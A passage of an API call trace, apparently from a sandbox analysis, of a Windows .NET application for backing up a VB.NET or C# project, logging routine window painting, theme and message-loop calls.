type=0x7) returned 0x210506ba [0241.975] GetCurrentObject (hdc=0x1d0101a0, type=0x6) returned 0x18a002e [0241.975] SaveDC (hdc=0x1d0101a0) returned 1 [0241.976] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x650401eb [0241.976] GetClipRgn (hdc=0x1d0101a0, hrgn=0x650401eb) returned 0 [0241.976] SelectClipRgn (hdc=0x1d0101a0, hrgn=0x67040789) returned 2 [0241.976] DeleteObject (ho=0x650401eb) returned 1 [0241.976] DeleteObject (ho=0x67040789) returned 1 [0241.976] OffsetViewportOrgEx (in: hdc=0x1d0101a0, x=0, y=0, lppt=0x25fb148 | out: lppt=0x25fb148) returned 1 [0241.976] DrawThemeParentBackground () returned 0x0 [0241.976] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be240 | out: lpwndpl=0x2be240) returned 1 [0241.976] GetClientRect (in: hWnd=0x40150, lpRect=0x2be1ec | out: lpRect=0x2be1ec) returned 1 [0241.976] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0241.976] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0241.976] GetSystemMetrics (nIndex=42) returned 0 [0241.976] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be07c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0241.976] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be07c) returned 0x23 [0241.976] GetClientRect (in: hWnd=0x40150, lpRect=0x2be0f4 | out: lpRect=0x2be0f4) returned 1 [0241.976] GetCurrentObject (hdc=0x1d0101a0, type=0x1) returned 0x1b00017 [0241.976] GetCurrentObject (hdc=0x1d0101a0, type=0x2) returned 0x1900010 [0241.976] GetCurrentObject (hdc=0x1d0101a0, type=0x7) returned 0x210506ba [0241.976] GetCurrentObject (hdc=0x1d0101a0, type=0x6) returned 0x18a002e [0241.976] SaveDC (hdc=0x1d0101a0) returned 2 [0241.976] GetNearestColor (hdc=0x1d0101a0, color=0xf0f0f0) returned 0xf0f0f0 [0241.976] CreateSolidBrush (color=0xf0f0f0) returned 0x361006a2 [0241.976] FillRect (hDC=0x1d0101a0, lprc=0x2bdf94, hbr=0x361006a2) returned 1 [0241.976] DeleteObject (ho=0x361006a2) returned 1 [0241.976] RestoreDC (hdc=0x1d0101a0, nSavedDC=-1) returned 1 [0241.977] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0241.977] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0241.977] GetSystemMetrics (nIndex=42) returned 0 [0241.977] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0241.977] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0241.977] GetClientRect (in: hWnd=0x40150, lpRect=0x2be094 | out: lpRect=0x2be094) returned 1 [0241.977] GetCurrentObject (hdc=0x1d0101a0, type=0x1) returned 0x1b00017 [0241.977] GetCurrentObject (hdc=0x1d0101a0, type=0x2) returned 0x1900010 [0241.977] GetCurrentObject (hdc=0x1d0101a0, type=0x7) returned 0x210506ba [0241.977] GetCurrentObject (hdc=0x1d0101a0, type=0x6) returned 0x18a002e [0241.977] SaveDC (hdc=0x1d0101a0) returned 2 [0241.977] GetNearestColor (hdc=0x1d0101a0, color=0xf0f0f0) returned 0xf0f0f0 [0241.977] CreateSolidBrush (color=0xf0f0f0) returned 0x371006a2 [0241.977] FillRect (hDC=0x1d0101a0, lprc=0x2bdf34, hbr=0x371006a2) returned 1 [0241.977] DeleteObject (ho=0x371006a2) returned 1 [0241.977] RestoreDC (hdc=0x1d0101a0, nSavedDC=-1) returned 1 [0241.980] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0241.980] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0241.980] GetSystemMetrics (nIndex=42) returned 0 [0241.980] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be01c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0241.980] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be01c) returned 0x23 [0241.980] RestoreDC (hdc=0x1d0101a0, nSavedDC=-1) returned 1 [0241.980] GdipReleaseDC (graphics=0x4ae5320, hdc=0x1d0101a0) returned 0x0 [0241.980] IsAppThemed () returned 0x1 [0241.980] GetThemeAppProperties () returned 0x3 [0241.980] GetThemeAppProperties () returned 0x3 [0241.980] IsAppThemed () returned 0x1 [0241.980] GetThemeAppProperties () returned 0x3 [0241.980] GetThemeAppProperties () returned 0x3 [0241.980] IsThemePartDefined () returned 0x1 [0241.980] GdipCreateRegion (region=0x2be428) returned 0x0 [0241.981] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0241.981] GdipCreateMatrix (matrix=0x2be428) returned 0x0 [0241.981] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0241.981] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be440) returned 0x0 [0241.981] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0241.981] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd4d0) returned 0x0 [0241.981] LocalFree (hMem=0x5fd4d0) returned 0x0 [0241.981] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0241.981] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd4d0) returned 0x0 [0241.981] LocalFree (hMem=0x5fd4d0) returned 0x0 [0241.981] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0241.981] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be468) returned 0x0 [0241.981] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be458) returned 0x0 [0241.981] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be458) returned 0x0 [0241.981] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0241.981] GdipGetDC (graphics=0x4ae5320, hdc=0x2be470) returned 0x0 [0241.981] GetCurrentObject (hdc=0x1d0101a0, type=0x1) returned 0x1b00017 [0241.981] GetCurrentObject (hdc=0x1d0101a0, type=0x2) returned 0x1900010 [0241.981] GetCurrentObject (hdc=0x1d0101a0, type=0x7) returned 0x210506ba [0241.981] GetCurrentObject (hdc=0x1d0101a0, type=0x6) returned 0x18a002e [0241.981] SaveDC (hdc=0x1d0101a0) returned 1 [0241.981] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x68040789 [0241.981] GetClipRgn (hdc=0x1d0101a0, hrgn=0x68040789) returned 0 [0241.981] SelectClipRgn (hdc=0x1d0101a0, hrgn=0x670401eb) returned 2 [0241.982] DeleteObject (ho=0x68040789) returned 1 [0241.982] DeleteObject (ho=0x670401eb) returned 1 [0241.982] OffsetViewportOrgEx (in: hdc=0x1d0101a0, x=0, y=0, lppt=0x25fbf04 | out: lppt=0x25fbf04) returned 1 [0241.982] IsAppThemed () returned 0x1 [0241.982] GetThemeAppProperties () returned 0x3 [0241.982] GetThemeAppProperties () returned 0x3 [0241.982] DrawThemeBackground () returned 0x0 [0241.982] RestoreDC (hdc=0x1d0101a0, nSavedDC=-1) returned 1 [0241.982] GdipReleaseDC (graphics=0x4ae5320, hdc=0x1d0101a0) returned 0x0 [0241.982] GdipCreateRegion (region=0x2be410) returned 0x0 [0241.982] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0241.982] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0241.982] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0241.982] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0241.982] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0241.982] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0241.982] LocalFree (hMem=0x5fd4d0) returned 0x0 [0241.982] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0241.982] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0241.982] LocalFree (hMem=0x5fd4d0) returned 0x0 [0241.982] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0241.982] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0241.982] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0241.982] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0241.982] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0241.982] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0241.983] GetCurrentObject (hdc=0x1d0101a0, type=0x1) returned 0x1b00017 [0241.983] GetCurrentObject (hdc=0x1d0101a0, type=0x2) returned 0x1900010 [0241.983] GetCurrentObject (hdc=0x1d0101a0, type=0x7) returned 0x210506ba [0241.983] GetCurrentObject (hdc=0x1d0101a0, type=0x6) returned 0x18a002e [0241.983] SaveDC (hdc=0x1d0101a0) returned 1 [0241.983] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x680401eb [0241.983] GetClipRgn (hdc=0x1d0101a0, hrgn=0x680401eb) returned 0 [0241.983] SelectClipRgn (hdc=0x1d0101a0, hrgn=0x69040789) returned 2 [0241.983] DeleteObject (ho=0x680401eb) returned 1 [0241.983] DeleteObject (ho=0x69040789) returned 1 [0241.983] OffsetViewportOrgEx (in: hdc=0x1d0101a0, x=0, y=0, lppt=0x25fc1d8 | out: lppt=0x25fc1d8) returned 1 [0241.983] IsAppThemed () returned 0x1 [0241.983] GetThemeAppProperties () returned 0x3 [0241.983] GetThemeAppProperties () returned 0x3 [0241.983] GetThemeBackgroundContentRect () returned 0x0 [0241.983] RestoreDC (hdc=0x1d0101a0, nSavedDC=-1) returned 1 [0241.983] GdipReleaseDC (graphics=0x4ae5320, hdc=0x1d0101a0) returned 0x0 [0241.983] IsAppThemed () returned 0x1 [0241.983] GetThemeAppProperties () returned 0x3 [0241.983] GetThemeAppProperties () returned 0x3 [0241.983] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0241.983] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0241.983] GetCurrentObject (hdc=0x1d0101a0, type=0x1) returned 0x1b00017 [0241.983] GetCurrentObject (hdc=0x1d0101a0, type=0x2) returned 0x1900010 [0241.983] GetCurrentObject (hdc=0x1d0101a0, type=0x7) returned 0x210506ba [0241.983] GetCurrentObject (hdc=0x1d0101a0, type=0x6) returned 0x18a002e [0241.984] SaveDC (hdc=0x1d0101a0) returned 1 [0241.984] GetTextAlign (hdc=0x1d0101a0) returned 0x0 [0241.984] GetTextColor (hdc=0x1d0101a0) returned 0x0 [0241.984] GetCurrentObject (hdc=0x1d0101a0, type=0x6) returned 0x18a002e [0241.984] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0241.984] SelectObject (hdc=0x1d0101a0, h=0x90a01e9) returned 0x18a002e [0241.984] GetBkMode (hdc=0x1d0101a0) returned 2 [0241.984] SetBkMode (hdc=0x1d0101a0, mode=1) returned 2 [0241.984] DrawTextExW (in: hdc=0x1d0101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x2415, lpdtp=0x25fc56c | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0241.984] DrawTextExW (in: hdc=0x1d0101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x2015, lpdtp=0x25fc56c | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0241.984] RestoreDC (hdc=0x1d0101a0, nSavedDC=-1) returned 1 [0241.984] GdipReleaseDC (graphics=0x4ae5320, hdc=0x1d0101a0) returned 0x0 [0241.984] GetFocus () returned 0x0 [0241.984] IsAppThemed () returned 0x1 [0241.984] GetThemeAppProperties () returned 0x3 [0241.984] GetThemeAppProperties () returned 0x3 [0241.984] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0241.984] BitBlt (hdc=0x701068c, x=0, y=0, cx=163, cy=29, hdcSrc=0x1d0101a0, x1=0, y1=0, rop=0xcc0020) returned 1 [0241.985] GdipReleaseDC (graphics=0x4ae5320, hdc=0x1d0101a0) returned 0x0 [0241.985] SelectPalette (hdc=0x701068c, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0241.985] SelectObject (hdc=0x1d0101a0, h=0x185000f) returned 0x210506ba [0241.985] DeleteDC (hdc=0x1d0101a0) returned 1 [0241.985] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0241.985] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0241.985] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0241.985] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0241.985] WaitMessage () returned 1 [0241.994] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0241.994] IsWindowUnicode (hWnd=0x20152) returned 1 [0241.994] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0241.994] TranslateMessage (lpMsg=0x2bec18) returned 0 [0241.994] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0241.994] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0241.994] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0241.994] WaitMessage () returned 1 [0242.271] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0242.271] IsWindowUnicode (hWnd=0x1019e) returned 1 [0242.271] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0242.271] TranslateMessage (lpMsg=0x2bec18) returned 0 [0242.271] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0242.271] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0242.271] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0242.271] WaitMessage () returned 1 [0245.750] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0245.750] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0245.750] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0245.811] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8b0 | out: lpwndpl=0x2be8b0) returned 1 [0245.811] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0245.811] GetClientRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0245.811] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0245.811] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0245.812] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0245.812] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x1, lParam=0x568) returned 0x0 [0245.812] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x1, lParam=0x568) returned 0x0 [0245.812] NtdllDefWindowProc_W () returned 0x0 [0245.812] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0245.818] GetFocus () returned 0x0 [0245.818] SetFocus (hWnd=0x1019c) returned 0x0 [0245.818] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0245.818] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0245.818] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0245.818] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0245.819] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0245.819] GetStockObject (i=5) returned 0x1900015 [0245.819] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0245.819] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xd, wParam=0x1a, lParam=0x562800) returned 0x19 [0245.819] GetDlgItem (hDlg=0x40150, nIDDlgItem=65948) returned 0x1019c [0245.819] SendMessageW (hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2be2f8) returned 0x0 [0245.819] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x202b, wParam=0x1019c, lParam=0x2be2f8) returned 0x0 [0245.819] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0245.819] IsWindowUnicode (hWnd=0x1019c) returned 1 [0245.819] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0245.819] TranslateMessage (lpMsg=0x2bec18) returned 0 [0245.819] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0245.819] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0245.819] IsWindowUnicode (hWnd=0x1019c) returned 1 [0245.819] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0245.819] GetKeyState (nVirtKey=16) returned 0 [0245.819] GetKeyState (nVirtKey=17) returned 0 [0245.819] GetKeyState (nVirtKey=18) returned -127 [0245.819] TranslateMessage (lpMsg=0x2bec18) returned 1 [0245.819] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0245.820] GetKeyState (nVirtKey=16) returned 0 [0245.820] GetKeyState (nVirtKey=17) returned 0 [0245.820] GetKeyState (nVirtKey=18) returned -127 [0245.820] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0245.820] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0245.820] IsWindowUnicode (hWnd=0x1019c) returned 1 [0245.820] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0245.820] GetKeyState (nVirtKey=16) returned 0 [0245.820] GetKeyState (nVirtKey=17) returned 0 [0245.820] GetKeyState (nVirtKey=18) returned 1 [0245.820] TranslateMessage (lpMsg=0x2bec18) returned 1 [0245.820] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0245.820] GetKeyState (nVirtKey=16) returned 0 [0245.820] GetKeyState (nVirtKey=17) returned 0 [0245.820] GetKeyState (nVirtKey=18) returned 1 [0245.820] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0245.820] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0245.820] IsWindowUnicode (hWnd=0x1019c) returned 1 [0245.820] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0245.820] TranslateMessage (lpMsg=0x2bec18) returned 0 [0245.820] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0245.820] BeginPaint (in: hWnd=0x1019c, lpPaint=0x2be6fc | out: lpPaint=0x2be6fc) returned 0x100107ec [0245.820] SelectPalette (hdc=0x100107ec, hPal=0x300807ef, bForceBkgd=1) returned 0x188000b [0245.820] CreateCompatibleDC (hdc=0x100107ec) returned 0x270101b8 [0245.820] SelectObject (hdc=0x270101b8, h=0x210506ba) returned 0x185000f [0245.820] GdipCreateFromHDC (hdc=0x270101b8, graphics=0x2be714) returned 0x0 [0245.820] GdipTranslateWorldTransform (graphics=0x4ae5320, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0245.821] GdipSetClipRectI (graphics=0x4ae5320, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0245.821] GdipCreateMatrix (matrix=0x2be75c) returned 0x0 [0245.821] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5250) returned 0x0 [0245.821] GdipIsMatrixIdentity (matrix=0x4ae5250, result=0x2be774) returned 0x0 [0245.821] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0245.821] GdipGetMatrixElements (matrix=0x4ae5250, matrixOut=0x5fd4d0) returned 0x0 [0245.821] LocalFree (hMem=0x5fd4d0) returned 0x0 [0245.821] GdipDeleteMatrix (matrix=0x4ae5250) returned 0x0 [0245.821] GdipCreateRegion (region=0x2be75c) returned 0x0 [0245.821] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0245.821] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be768) returned 0x0 [0245.821] GdipSaveGraphics (graphics=0x4ae5320, state=0x2be794) returned 0x0 [0245.821] GdipRestoreGraphics (graphics=0x4ae5320, state=0xfd910dbd) returned 0x0 [0245.821] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0245.821] GdipGetDC (graphics=0x4ae5320, hdc=0x2be580) returned 0x0 [0245.821] GetCurrentObject (hdc=0x270101b8, type=0x1) returned 0x1b00017 [0245.821] GetCurrentObject (hdc=0x270101b8, type=0x2) returned 0x1900010 [0245.821] GetCurrentObject (hdc=0x270101b8, type=0x7) returned 0x210506ba [0245.821] GetCurrentObject (hdc=0x270101b8, type=0x6) returned 0x18a002e [0245.821] SaveDC (hdc=0x270101b8) returned 1 [0245.822] GetNearestColor (hdc=0x270101b8, color=0xf0f0f0) returned 0xf0f0f0 [0245.822] GetNearestColor (hdc=0x270101b8, color=0xa0a0a0) returned 0xa0a0a0 [0245.822] GetNearestColor (hdc=0x270101b8, color=0x696969) returned 0x696969 [0245.822] GetNearestColor (hdc=0x270101b8, color=0xa0a0a0) returned 0xa0a0a0 [0245.822] GetNearestColor (hdc=0x270101b8, color=0x0) returned 0x0 [0245.822] GetNearestColor (hdc=0x270101b8, color=0xffffff) returned 0xffffff [0245.822] GetNearestColor (hdc=0x270101b8, color=0xe5e5e5) returned 0xe5e5e5 [0245.822] GetNearestColor (hdc=0x270101b8, color=0xd7d7d7) returned 0xd7d7d7 [0245.822] GetNearestColor (hdc=0x270101b8, color=0x0) returned 0x0 [0245.822] RestoreDC (hdc=0x270101b8, nSavedDC=-1) returned 1 [0245.822] GdipReleaseDC (graphics=0x4ae5320, hdc=0x270101b8) returned 0x0 [0245.822] IsAppThemed () returned 0x1 [0245.822] GetThemeAppProperties () returned 0x3 [0245.822] GetThemeAppProperties () returned 0x3 [0245.822] IsAppThemed () returned 0x1 [0245.822] GetThemeAppProperties () returned 0x3 [0245.822] GetThemeAppProperties () returned 0x3 [0245.822] DrawTextExW (in: hdc=0xb0101e5, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be43c, format=0x2415, lpdtp=0x264ca4c | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be43c) returned 13 [0245.822] IsAppThemed () returned 0x1 [0245.822] GetThemeAppProperties () returned 0x3 [0245.822] GetThemeAppProperties () returned 0x3 [0245.822] IsAppThemed () returned 0x1 [0245.822] GetThemeAppProperties () returned 0x3 [0245.822] GetThemeAppProperties () returned 0x3 [0245.823] GetFocus () returned 0x1019c [0245.823] IsAppThemed () returned 0x1 [0245.823] GetThemeAppProperties () returned 0x3 [0245.823] GetThemeAppProperties () returned 0x3 [0245.823] IsAppThemed () returned 0x1 [0245.823] GetThemeAppProperties () returned 0x3 [0245.823] GetThemeAppProperties () returned 0x3 [0245.823] IsThemePartDefined () returned 0x1 [0245.823] IsAppThemed () returned 0x1 [0245.823] GetThemeAppProperties () returned 0x3 [0245.823] GetThemeAppProperties () returned 0x3 [0245.823] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0245.823] IsAppThemed () returned 0x1 [0245.823] GetThemeAppProperties () returned 0x3 [0245.823] GetThemeAppProperties () returned 0x3 [0245.823] IsAppThemed () returned 0x1 [0245.823] GetThemeAppProperties () returned 0x3 [0245.823] GetThemeAppProperties () returned 0x3 [0245.823] IsThemePartDefined () returned 0x1 [0245.823] GdipCreateRegion (region=0x2be484) returned 0x0 [0245.823] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0245.823] GdipCreateMatrix (matrix=0x2be484) returned 0x0 [0245.823] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0245.823] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be49c) returned 0x0 [0245.823] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0245.823] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0245.823] LocalFree (hMem=0x5fd4d0) returned 0x0 [0245.823] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd4d0 [0245.823] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd4d0) returned 0x0 [0245.823] LocalFree (hMem=0x5fd4d0) returned 0x0 [0245.823] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0245.823] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4c4) returned 0x0 [0245.823] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be4b4) returned 0x0 [0245.823] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be4b4) returned 0x0 [0245.823] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0245.824] GdipGetDC (graphics=0x4ae5320, hdc=0x2be4cc) returned 0x0 [0245.824] GetCurrentObject (hdc=0x270101b8, type=0x1) returned 0x1b00017 [0245.824] GetCurrentObject (hdc=0x270101b8, type=0x2) returned 0x1900010 [0245.824] GetCurrentObject 